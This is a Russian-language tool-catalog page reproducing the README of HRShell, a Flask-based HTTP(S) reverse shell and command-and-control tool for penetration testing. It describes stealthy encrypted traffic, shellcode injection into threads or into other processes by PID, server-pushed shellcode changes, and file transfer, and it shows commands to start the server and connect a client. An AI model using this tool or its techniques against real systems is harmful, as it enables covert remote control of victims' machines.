Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HRShell — HRShell — это HTTPS/HTTP reverse shell, созданный на базе flask. Это продвинутый C2-сервер с множеством функций и возможностей. | Kitploit
Инструменты/GitHubGitHub/chrispetrou/hrshell
Инструменты шифрования/дешифрованияЭксплуатацияОбратная инженерияШелл-кодПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиArchived
24869255 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
chrispetrou/hrshell

HRShell

HRShell — это HTTPS/HTTP reverse shell, созданный на базе flask. Это продвинутый C2-сервер с множеством функций и возможностей.

Репозиторий
HRShell: Продвинутый HTTP(S) Reverse Shell, созданный с помощью Flask

GPLv3 license version Known Vulnerabilities



HRShell — это обратная оболочка HTTPS/HTTP, построенная на Flask и совместимая с python 3.x. client.py был успешно протестирован на:

  • Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

в то время как server.py совместим с Unix-системами (поддержка Windows вскоре появится...)

Возможности

  • Скрытность
  • Поддержка TLS 🔑
    • Либо с использованием сгенерированных на лету сертификатов,
    • Либо с указанием пары сертификат/ключ (подробнее ниже...)
  • Внедрение шелл-кода 💉 (подробнее ниже...)
    • Внедрение шелл-кода в поток/порожденный процесс текущего процесса
      • Поддерживаемые платформы:
        • Windows x86
        • Unix x86
        • Unix x64
    • или внедрение шелл-кода в другой процесс (migrate <PID>) с указанием его PID
      • Поддерживаемые платформы:
        • Windows x86
        • Windows x64
  • Шелл-код можно задавать/изменять на лету с сервера (подробнее ниже...)
  • Поддержка прокси на стороне клиента.
  • Навигация по каталогам (команда cd и её варианты).
  • Интерактивная команда history доступна в Unix-системах.
  • Доступны команды download/upload/screenshot/hex.
  • Поддерживаются конвейеры (|) и цепочки команд (;).
  • Поддержка любых неинтерактивных команд (таких как gdb, top и т.д.).
  • Сервер способен работать как по HTTP, так и по HTTPS.
  • В настоящее время поставляется с двумя встроенными серверами 🌐... встроенный Flask и tornado-WSGI, а также совместим с другими production-серверами, такими как gunicorn и Nginx.
  • Как server.py, так и client.py легко расширяемы.
  • Поскольку большая часть функциональности обеспечивается дизайном конечных точек сервера, очень легко написать клиент на любом другом языке, например, Java, GO и т.д.

*Информацию об изменениях версий см. в CHANGELOG.

Подробности


Скрытность :shipit:

HRShell скрытен, поскольку использует протокол HTTP(S) в качестве метода связи между клиентом и сервером. Кроме того, при использовании TLS трафик также шифруется. Также, если сертификат не прописан жёстко на стороне клиента (что является возможным вариантом) и не используется команда upload, то client.py вообще не обращается к диску.

TLS 🔑

На стороне сервера: Если не указан параметр --http, по умолчанию server.py использует HTTPS с самоподписанными сертификатами, создаваемыми на лету, поскольку это встроенная возможность Flask. Но если указан параметр -s tornado, чтобы сервер использовал TLS, необходимо указать параметры --cert и --key следующим образом:

python server.py -s tornado --cert /путь/cert.pem --key /путь/key.pem

Можно использовать как "настоящие" сертификаты, так и сгенерировать пару сертификат/ключ, например, с помощью mkcert или напрямую openssl:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Пару сертификат/ключ также можно использовать с сервером Flask:

python server.py --cert /путь/cert.pem --key /путь/key.pem

⚠️ Если сервер использует TLS, то по дизайну клиент не может подключиться к серверу по http://..., а должен явно использовать https.

На стороне клиента: По умолчанию верификация SSL на клиенте отключена, за исключением случаев:

  • либо указан параметр --cert, например:
    python client.py -s https://192.168.10.7:5000 --cert /путь/cert.pem
    
  • либо переменная CERT вместо значения None по умолчанию предварительно установлена в валидный сертификат, например:
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    В этом случае client.py попытается создать скрытый файл .cert.pem на лету и будет использовать его.

⚠️ То, что проверка SSL по умолчанию отключена на клиенте, не означает, что TLS также отключён; TLS будет включён, если его использует сервер, поэтому TLS полностью зависит от сервера. Параметр --cert на клиенте существует просто как альтернативный способ для сервера и клиента иметь зашифрованную сессию, и это всё.

Внедрение шелл-кода 💉

Существует два "режима" внедрения шелл-кода с использованием следующих двух команд соответственно:

  1. migrate <PID>: С помощью этой команды мы можем внедрить шелл-код в адресное пространство другого процесса, указав его PID. Пока эта команда может применяться только на платформах Windows x86/x64!
  1. inject shellcode: С помощью этой команды создаётся новый поток (или порождённый процесс в Unix-системах) нашего текущего процесса, и внедрение шелл-кода происходит в его адресное пространство. В результате наш HTTP(S)-шелл не затрагивается внедрением. Платформы, на которых можно применять эту команду: Unix x86/x64, Windows x86!
Примечания
  • Если внедрение происходит в процесс, разрешения процесса играют очень важную роль. Не всегда возможно внедриться в любой процесс из-за отсутствия соответствующих привилегий.

Установка/изменение шелл-кода

Есть два способа указать/установить, какой тип шелл-кода должен выполнять клиент:

  • Либо предварительно установить переменную shellcode в скрипте client.py как валидный шелл-код,
  • Либо использовать команду set shellcode <shellcode-id> для этого на лету. С помощью этой команды вы можете обновлять шелл-код на стороне клиента со стороны сервера сколько угодно раз!
Скачать инструмент